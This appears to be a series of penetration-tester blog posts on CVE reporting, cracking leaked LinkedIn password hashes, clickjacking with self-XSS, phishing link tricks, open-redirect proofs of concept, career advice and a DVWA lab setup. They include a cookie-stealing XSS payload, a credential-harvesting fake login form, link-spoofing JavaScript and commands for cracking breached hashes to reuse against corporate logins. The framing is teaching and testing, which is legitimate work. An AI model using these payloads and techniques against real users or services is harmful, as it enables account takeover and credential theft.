CVE-Offline to Word Reports

A common task when you are working with large amounts of vulnerabilities is a need to contextualise CVE (Common Vulnerability & Exposures). One mans slightly outdated Apache could be much worse than another for example depending on business risks.

What I do with something massively outdated is first make a comprehensive list of the CVE details in a spreadsheet. I then provide customers with raw statistics like: there were 22 with a CVSS score of 10.0 etc. You then want to narrow the field and find those with exploits etc.

The following video does not show you the analysis but it does show you how to use CVEOffline to get a table into word:

This has saved me lots of time but it has never really been documented effectively and a video seemed the easiest way for this.

Get CVE-Offline from github here:

I update the database monthly. The database is also integrated monthly into the release stream of ReportCompiler here:

ReportCompiler allows you to import vulnerabilities from Nessus and other VA scanners. You can select one or more vulnerability in RC’s tree view. Right Click and gain quick access to a spreadsheet of the CVEs references in those vulns.

Hope that helps.

John the Ripper vs LinkedIn 2012 Dump

When profiling an organisation you should at least check for their email domain within that data set. If any staff have used their work email address when they signed up to LinkedIn pre-2012, then you may have a quick win.

On several tests this year we have used this to authenticate to external corporate services such as: VPNs, or Outlook Web Access. Showing a) that password reuse is alive and well in 2017, and b) that our target users have not updated their work credentials in years!

You must obtain the raw data from the dump to do this. Google it, torrent it, beg or borrow it. It is widely obtainable, but I am not about to host the file myself.

Getting prepared

I downloaded the most recent Kali VM:

Which had a version of John the Ripper installed that supported the correct hashing format.

Finding Targets

Your first challenge is to find targets at your clients domain. A simple grep:

grep linkedin.txt >> targets.txt

Converting to Crackable File Format

The version of “linkedin.txt” that I have access to is formatted using colons to separate columns. The format seems to be:


For JTR to work for us here we need to match this format:


We can use the email address as the username so basically we need to get rid of the “id” portion. Which we can do simply using “cut”:

cat targets.txt | cut -d ":" -f 2-3 >> hashes.txt

Syntax for Wordlist based attack

To use a wordlist attack I used the command shown below:

john --wordlist=/path/to/wordfile --format=Raw-SHA1 hashes.txt

The key reason I am writing this down is I keep forgetting the “–format” part and it seems a little harder to Google for it than I hope each time!

Much Success!

Here is a picture of how effective even the rockyou.txt file can be. For one of the domains in the LinkedIn leak we cracked a whole load of passwords in seconds:


For people with slightly better passwords we have had success profiling that individual and making custom wordlists.

Hope that is of use to someone. It certainly will help me remember


Understanding ClickJacking

ClickJacking is a common flaw in most web applications which allows an attacker to execute actions within the session of their victim. The topic has been very well covered by OWASP at references [1] and [2] at the end of this article.

It is often misunderstood. The following points need to be kept in mind:

  • The user must be authenticated to the TARGET application or it must have some sensitive functionality in there worthy of attack.
  • It must be possible for the TARGET application to be loaded within an html “iframe” tag on another site.
  • The attacker must create an EXPLOIT web page and deliver it to the victim (using Phishing etc).
  • While the victim interacts with content at the EXPLOIT site, their interactions are being redirected to the TARGET application.

The key part is that the EXPLOIT site will present the victim with some content which will encourage them to interact with it. The iframe containing the TARGET site will be hidden in some fashion so that the victim is clueless that they are being exploited.

Additionally, you need to know that this is a “blind” attack by default. By this I mean that you will not have read access to the HTML within the TARGET page (unless that site has some form of self Cross-Site Scripting (XSS) — which is fun, so I will show later).

Think of this as Cross Site Request Forgery (CSRF) [3]. If you find something that can be executed on the target site, which is advantageous to an attacker, but it already has CSRF defences in place? This is the situation where ClickJacking can be your friend.

This post is not about how to actually exploit ClickJacking. It is about how to prove a site has a vulnerability while conducting a penetration test, or for developers to understand the same.

Questions you have to answer

To prove that a site would have an impact from ClickJacking, you need to answer these questions:

  1. Can the site be loaded within an iframe?
  2. Does the target site have something which is actually exploitable using ClickJacking techniques?

The first question is easily answered. Create an HTML file which includes the URL for the sensitive functionality within an iframe tag. The following would do that job:

<iframe src="http://target/function">/iframe>

Change the “src” to point to your juicy function (such as “change email address” or whatever). Save that into a “.html” file locally. Authenticate to the application in one tab of your browser and then open that local file.

If the site loads within the iframe then there are likely no defences in place.

The second question is the one that most people I have taught seem to struggle with. They get excited about seeing the target load in the iframe and rush off to report it!

Hold your horses folks. If there is nothing which would be of value to an attacker to exploit, then it would be a much lower risk. You want to review the website and look for things like:

  • Self-XSS (which is demoed later as a treat to you all).
  • Change Password form without current password required.
  • Change associated email address without current password required.
  • Like or upvote something by way of a click which could improve an attacker’s rating.

The list could be much much longer. Find something that has a security impact and only requires a couple of clicks, or some content controllable by the attacker to be pasted to execute.

If you don’t find functionality like that, then your customer needs to be told they should turn on ClickJacking defences as a matter of best practices. If you do find something then the impact needs to be set dependent on the risks of an attacker doing that to a victim.

That is my point made. The next bit is just for giggles.

Example: Chaining ClickJacking with Self-XSS

Tonight I found “XSSJacking” by dxa4481 on GitHub (see reference [4]). This pretty much did what I came here to show. So I started with that, and then modified it.

You can use ClickJacking to deliver XSS payloads into the session of a victim. This is useful when the way to exploit the XSS would be to literally type the exploit into a text field for example. Until ClickJacking these were basically considered unexploitable. Welcome to the party self-XSS!

I cloned XSSJacking using:

git clone

This is pretty simple and has the following files:

  1. index.html – this is the TARGET site.
  2. main.js – contains JavaScript used by index.html (TARGET) to trigger the self-xss.
  3. index2.html – this is the EXPLOIT site.

I wanted to modify these to create an example where I was able to hijack a cookie from TARGET site.

The following is the content of “index.html”:

        <script src=""></script>
        <script src="main.js"></script>

	<!-- Added by cornerpirate to create a cookie -->
	document.cookie="secret="+new Date().getTime();

    <body ng-app="xssApp" ng-controller="mainController">
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">

	<!-- Added by cornerpirate to create a div with id "exploitMe" in the page -->
<div id="exploitMe"></div>

To this I added a “div” tag with an id for easy accessing via JavaScript. The following is the content of “main.js”:

var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
    $scope.checkForAlert = function(text){
	// Modified by cornerpirate to dangerously put
	// any text into the "innerHTML" of the "exploitMe" div.

I removed the safety from the original demo (because ‘you only live once’). Notice that I use the “innerHTML” of the div to set the “text” which was passed by angular. The following is the content of “index2.html”:

Enter your email below to register:
<textarea autofocus style="width:220px; height:35px;"></textarea>
Repeat your email:
<iframe style="width:230px; height:50px;" frameBorder="0" src=""></iframe>
<input type="submit"></input>
document.addEventListener('copy', function(e){
e.clipboardData.setData('text/plain', '\x3Cimg\x20src\x3D\x22x\x22\x20onerror\x3D\x22new\x20Image\x28\x29.src\x3D\x27http\x3A\x2f\x2flocalhost\x2fcookie\x3F\x27\x2bdocument.cookie\x22\x3E');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard

I modified the URL used by the iframe. This means that the TARGET site is running on TCP port 8080 of my Kali VM.

I also modified the payload which is pasted. That is hard to read so I have decoded it as below:

<img src="x" onerror="new Image().src='http://localhost/cookie?'+document.cookie">

This will simply run a script which will send back a cookie to a listener on localhost. To recap we have this situation:

  1. TARGET site running on TCP port 8080 of kali.
  2. EXPLOIT site running on TCP port 80 of kali
  3. ATTACKER is listening on localhost (yea this should be another server but different origin anyway for the PoC).

By separating the ports they are different origins meaning that ClickJacking will actually get us something.

The following video shows you this all being pulled together:

On the right are two python listeners which host the TARGET and EXPLOIT sites.

On the left is a web browser and ncat listener on localhost.

The steps in the video are:

  1. I refresh the users page on the TARGET site.
  2. I show that there is a cookie set on the TARGET site.
  3. I then  goto the EXPLOIT site and copy the text in the email field. Doing this actually places the XSS payload into the copy/paste buffer.
  4. When I paste into the “repeat your email” it is actually inside the iframe which contains the TARGET site.
  5. The self-XSS executes and you can see the secret cookie value was sent back to the attacker.

To recap: the first half is about what you must do to professionally be able to find ClickJacking. The second gives you an example of what an attack might look like. In the day job of a pentester it is unlikely that you will ever exploit ClickJacking. But for your knowledge of the subject it is best that you play with it.

One day a customer is going to ask and you should have a great answer for them.






Dodgy Link: Hiding the URL

It is very rare that I do Phishing campaigns (dang it I should ask to do more as they are interesting).  I do have to answer customer questions, and talk about security awareness training often though.

I have heard people saying that “just hover your mouse over a suspicious link and it shows you where it is going!”. Generally this is a good feature of web browsers. However, it is definitely not to be relied on as shown in the video below:

With a tiny bit of JavaScript you can defeat that particular part of someone’s security awareness training. The source code is available below:

<a id="hey" href=""
>Totally Legit</a>

Quite simple:

  1. When the mouse goes over the link the “onmouseover” event handler executes. This changes the URL to “; so that is what the Web Browser shows to the user at the bottom.
  2. If the user actually clicks on the link the “onclick” event is triggered which replaces the URL with whatever we are actually wanting our victim to interact with.

Nothing new. Nothing earth shattering. I needed to document it as I have forgotten how to do this a few times but now it is written down forever. Hope it is useful.

Open (Redirect) Warfare

None of this is new. This week I needed to make an exploit PoC for an open redirect. The short version is this:

  1. Customer had an Open Redirect vulnerability.
  2. This prevented certain things and did have some defences in place.
  3. It did not prevent the “data:” URI.
  4. So this article shows simply how to make a fake login form. *

* various browsers protect users. Mileage on this one definitely varies.

Hopefully the tale of how this was made is of use to someone. It starts by explaining what an Open Redirect is for the uninitiated. It then proceeds by showing a vulnerable PHP page, how to generate the PoC, and then the action shot of it.

What is an Open Redirect?

Ironically our heroes at OWASP have chosen to call theirs “unvalidated redirects” now. Meaning that googling “Open Redirect” finds you this URL:

Which ultimately redirects to this if you flip the “redirect=no” to “redirect=yes”:

But I am old school and like to call it an open redirect. I get the point they are conveying by calling it an unvalidated redirect. I just boo and hiss about being too old for new tricks.

The gist is: by modifying input to a website you are redirecting users to a URL of your choice.

For example, if a website had a URL of the following kind:


If you set the “url” parameter to ““, when the victim clicked on the link they would be redirected to Secarma.

You are all about the impacts Mr Pirate. So explain to me the impact before I throw a brick at you. Ok, ok, I am getting there. There are typically two impacts of an open redirect:

  1. Phishing – Create a malicious link and email (or otherwise present) your victims with it. When they are redirected to your #EvilSite you ask them to enter credentials or something else you need.
  2. Drive by download – if I can make your browser view content that I control then I can attempt to exploit your browser and all of the applications you have installed. Technically this is just a different payload for phishing, but I do see this as a worst case scenario. On a legit penetration testing engagement you should never be simulating this. Imagine the carnage of auto owning browsers for thousands of people?

What an open redirect gains you over simply emailing a link to #EvilSite is simply a little bit of legitimacy. The link will initially point at #TrustedSite but when the browser loads the page it will be forwarded to #EvilSite. If your victim is moderately savvy and checks the hostname in the URL before they click. With an open redirect they would be at risk since the ultimate destination is not the host name of the original link.

Make a vulnerable Open Redirect

You will need a safe place to play with this. Do not go and find something vulnerable on the Internet. Just make your own. I did, and you can see the code below:

		<title>Vulnerable to a redirect</title>
<h3>Page is vulnerable to an open redirect</h3>
Add a parameter to the URL called "url" and resubmit.
if(isset($_GET['url'])) {
$redirect_url = $_GET['url'];
header('Location: ' . $redirect_url); // vulnerable redirect
} ?>

The vulnerable part is the call to the “header” function which uses without checks the value of the get parameter “url”.

Save this in a file “redirect.php”, and place this inside a web server with PHP enabled and start your web server.

Creating your PoC data URI

The data URI is typically used to embed images in my experience. However, it is capable of MIME type “text/html” which makes it dangerous. For this reason various browsers have defended against it as per Mozilla’s post below:

Plough on regardless. Many people surf the old webs in dangerously old web browsers. As a pentester you have to proof of concept where you can. As it happened this was pretty much the only bug we had to play with, so go all out to explain why this is a risk by demonstration.

First you need to create some HTML that may exploit people. I went with a simple (and admittedly ugly looking) login page:

<form onsubmit="myFunction()">
  User: <input type="text" name="user"></br>
  Pass: <input type="password" name="pass"></br>
  <input type="submit" value="Submit">

function myFunction() {
    var gold = document.forms[0].user.value + ":" + document.forms[0].pass.value;
    // send the users credentials to yourself.
    new Image.src="" + encodeURI(gold);
    // redirect user back to the site they are expecting.
    window.location="<set this>";

Pretty simple really. A login form and a JavaScript which runs on submit that sends the credentials back to myself before redirecting the user back to the site they were expecting. That second step is important because you want to minimise the time they spend staring at your form.

To generate my data URI the lazy way I used this excellent free service:

The following shows the process used for doing that:


How to generate your data URI

Pretty simple:

  1. Click on “Provide Text”.
  2. Paste your HTML in.
  3. Click “Explicitly specify mime type”
  4. Type “text/html” in as the mime type.
  5. Click “Generate Data URI”.

This will generate your URI on the screen and you can copy and paste it where you need to.

Using your PoC

Once you have generated your PoC above you will need to URL encode it. This is because the character set for Base64 encoding includes characters used within URLs such as “+” and “=”.

Raw PoC


URL Encoded PoC


Next you will need to generate your exploit URL. If we recall the generic example from before:


It really is as simple as pasting your URL encoded PoC into the spot labelled “INJECT_HERE”.

Bang that into your address bar and press enter and watch as your shoddy looking login form appears. The following shows the flow of this in Burp:


Redirect to data URI

Then to review that in my testing browser:


PoC loaded in the browser

As you can see the address bar looks “scary”. Your suspicious victims will likely spot this. However, some that have been educated to check the hostname BEFORE clicking will already have done their due diligence and moved on to just logging in.

Personally I do not think it is *that* effective as a technique but it did give me a few glimmers of happiness in making the PoC.

Standing Out: a Workshop for Wannabe Pentesters

I asked Twitter for questions to help me find topics people were interested in. The first response was very simple:

To me this boils down to the question “What can I do to make my CV or application stand out from the hordes of others?”. When I say “hordes” I literally mean it. I personally get approached a lot either via LinkedIn or email from candidates.

To deal with that question I have broken it down into three sections:

  1. Sharpen your CV
  2. Your online Content
  3. Your offline presentation

I will make sub-sections for each of these and if you feel that you have one of these nailed skip over it.

Sharpen your CV

Your CV is the gateway to your soul. Often it may be all that the company you are applying to is going to see. For the first step follow this process:

  1. Keep it exactly two pages long. No more. I have heard of hiring managers throwing anything longer on the pile or rejects before they go home and sleep like a baby. Harsh, but nobody said reality was going to be easy.
  2. Write it yourself. If your university has provided a template then you might find that the company has seen your CV many many times before. Familiarity with the format will not make it stand out. You do not have to go insane design wise but making it a bit unique is a good idea. Your CV is a chance to prove you can write in English and sell yourself. If you can do that, then you may be able to sell a vulnerability report to a customer. Genuinely write it yourself and resist temptation to pay someone to write it for you.
  3. Contact Details. Display clearly your contact details with your mobile number and address etc. I have had a few cases where I couldn’t call back, which doesn’t help. In mine I think I made it the header of the page so it is not eating up the real estate on the page but appears at the top of both pages.
  4. Link to online content. The next section contains how to fix your online content. Make sure that your CV links to that content appropriately. If you identify an organisation that blogs regularly about a thing that you have too then highlight that etc. If your research interests and theirs align you will find a willing buyer.

The general idea here is to make something that is the right length, ensure your key information is there, and that YOU wrote it.

Now I do not know how many of you are as hilarious as me? But I also end every CV I write with something outlandish under my interests as a reward to the reader getting that far.

I remember sauntering up to the MD of Pentest Ltd just as he got to the end of my CV when I was heading to meet him. He was still chuckling as I shook his hand. #nailedit. You might not get to an in person interview like that as the first step until you are rocking out as a senior like I was at that point in my career.

Pro-Tip: If you bump into me in person you can ask about my various CV jokes over the years but I won’t go into it here. Otherwise you will probably all just try and emulate those exact things.

Your online Content

There are so many places that you can put things online for your “work” self. A personal blog (like mine here!), LinkedIn, Twitter, GitHub etc. This can all be evidence of your activities that are relevant to penetration testing or IT in general.

Here are somethings I look for which I presume is what other hiring managers want:

  1. Actively exploring technology. If your blog is all about gadgets you have bought and stuff that was done just to play or learn with it. Then you may have the right mindset.
  2. Attending events. If your Twitter feed is a bunch of photos of you rolling around various Cyber Security events then we think you are definitely keen and trying to network in person.
  3. Speaking at events. If you are speaking at things like your local Defcon, OWASP or whatever then you are even more involved. Spreading knowledge to others is very much the mindset. Being able to talk to a room is also a tick in a box for consultancy skills. But speaking to rooms is not for everyone so it is not a REQUIRED skill.
  4. Coding ability. I am of the opinion that coding helps to make a great tester. Relatively recently I started posting stuff on So now I look for people who do the same. You do not have to invent something that has hitherto not existed in the world. Someone who has sat making their own port scanner will have learned a lot. You do not need to shoot for unique. Implementing your own version of a thing is also a valuable exercise.

Try and separate your work and personal self in your online presence. Keep the photos of food to Facebook and Instagram or whatever mostly (I will break this myself deal with it!). Then keep your online career “self” focused and to the point. That means categories on your blog or using a different blog entirely for other things.

What am I looking for here? Well… The appearance you are active. By reading some technical blog posts I can see more about how you write. Remember a pentester has to document findings to customers. So I want to know that you can write. Via GitHub I can see what tools you have made or what problems you have solved. Knowing someone has familiarity with programming is a good idea.

A final word on your online presence. Put a clear picture of your face. I won’t win any beauty contests. But I put my face on things so that when people meet me in person they can recognise me. Yes there are hackers who will post Chinese characters, or ninja’s or whatever to make themselves anonymous. That is very cool and “op seccy” of you. But take a moment to realise you are applying for a career in the white-box and not the black-box. If you want to go break the law for a living I don’t know where you apply but start at the docks at midnight maybe?

By not putting a photograph, what you may be losing a chance for consistency. I have just completed a recruitment tour and have spoken to around 700 or so people in a month. Sometimes I have met people at multiple events. The faces are now vaguely familiar but try to keep that many names in your head? When someone follows me on Twitter after an event it is easier to try and clash whatever hilarious handle they have to the person if I can recognise them.

Pro-Tip: a clear picture of your face only really. Try not to be “the one in the middle of three folks” or something like that 🙂

If you are represented by a string of binary in green on black in real-life then I promise to try and remember you.

Your offline presentation

By this I mean when you appear in front of a company say at an event. This time you are showing your face and you may have only short time to talk. In that case come prepared. Some people have been handing me business cards in return for mine. That means I can then go and put their name in a spreadsheet for the event and look to see if they actually apply later. So that is a nice touch which I am now recommending.

I didn’t believe in business cards when I was told in 2004 how to get a job by my university. I was like calm down caveman, I’ll just wow them with my personality. Now I have considered what the other side of that coin looks like I say a business card may genuinely help! I have a stack of them now from Securi-tay 2017 ready to get added to a list.

Also you are more likely to remember the companies representative than they are of you. IF you have met them before, re-iterate your name, and where that was when shaking hands. This should tick some boxes in their mind and get you straight onto the “my aren’t they keen” list!

We are fortunate to operate in a hacker style industry. Nobody expects you to wear a suit to these events. So you get a chance to wear some kind of awesome t-shirt or hoodie which may spark a conversation. Your goal at IRL meetings is to literally try and stick in someones head for a bit.

Some people do this by trying to ask difficult questions of their prey. Mileage may vary on that one. I love a challenge, but maybe someone else won’t. It is a potential route to making yourself stand out.

There you have it folks. My thoughts on how to “stand out” when applying for a penetration testing career.


Kali with Damn Vulnerable Web App in Docker

If you have landed here I hope you are looking at starting your training with Damn Vulnerable Web App. I am excited for you as you have so much to learn. I hope it means that you are considering a career in Cyber Security, and that this post will save you a few hours of frustration, and get you to the fun bits quicker.

You are going to need access to tools and access to targets so you can explore legally and for free. This post is about getting you to setup two things which will simply provide you with first the tools and then the targets easily:

  1. Kali Linux – the goto distribution of choice for penetration testers at all parts of their careers. A Debian base with repositories that contain all of the most common “hacking” tools.
  2. Docker – I risk offending people with my simplistic definition here. I think of this as a lightweight virtual machine. Really it is a “container” which can include an entire ecosystem.We can use this to clone down vulnerable targets to play with quickly which will run inside our Kali. This will provide the targets.

In this post I will cover setting things up by providing links to the appropriate guides. By the end you will have access to Damn Vulnerable Web App (DVWA) which you can start targeting immediately!


The simplest way to interact with Kali Linux for most readers will be to use virtualisation.

  1. Install vmware player or virtual box. I prefer vmware Player and so the rest of this guide assumes you are using this. Sorry folks.
  2. Download Kali ISO and build a virtual machine.
  3. Boot and log into Kali with the credentials you created.

If all is going well you have a new OS with a fresh desktop environment.

Setup VMWare Tools

Before you go too far you are going to want to setup “VMWare Tools”. This will allow you to copy/paste between your host and guest machine as well as smooth out lots of bumps.

Fortunately there is an easy to follow and official guide here:

By the end of this you should have a more useful virtual machine.

Setup Docker (the Lazy way)

To me docker is not that easy to setup. As Kali is Debian based you may assume that it is simply “apt-get install docker”. This is not the case and a major reason for me writing this post is to make sure you can get Docker into Kali as easily as possible.

The following script was made by some genius called “apolloclark” on Github:

Save this script to a file on your desktop called “”. Then execute that in a terminal by first “chmod +x” and then “./”. This will install docker for you.

I am not going to explain how to actually use docker in the general cases. So you probably want to eventually get round to reading this:

You can skip reading tutorials for Docker right now if you just want to focus on DVWA as soon as possible.

Getting DVWA and Running it

Various people have made docker containers which contain DVWA. At the time of writing the top hit on Google was made by another rockstar called “infoslack”. Open the following URL to see the details:

The following commands are all you would need to execute:

docker pull infoslack/dvwa
docker run -d -p 80:80 infoslack/dvwa

At this point you can access DVWA on localhost port 80.

Check that you are ready

Open this URL in the browser within Kali:


As you have not configured your server yet it will ask you to setup your database:


Setup your DVWA now and get hacking

If you click on “Create / Reset Database” button then you will complete the setup. This will take you to a login page. Enter “admin” and “password” to login.

This will present you with the full interface which will include a long list of options down the left. By default your DVWA install will be set to “Impossible” level of difficulty. You should be unable to exploit any of the vulnerabilities because the code is not designed to be vulnerable at this level.

Click on “DVWA Security” and then alter the drop down from “Impossible” to low and click “Submit”.

At this point you can click on links on the left to load specific vulnerable exercises.

Play safe.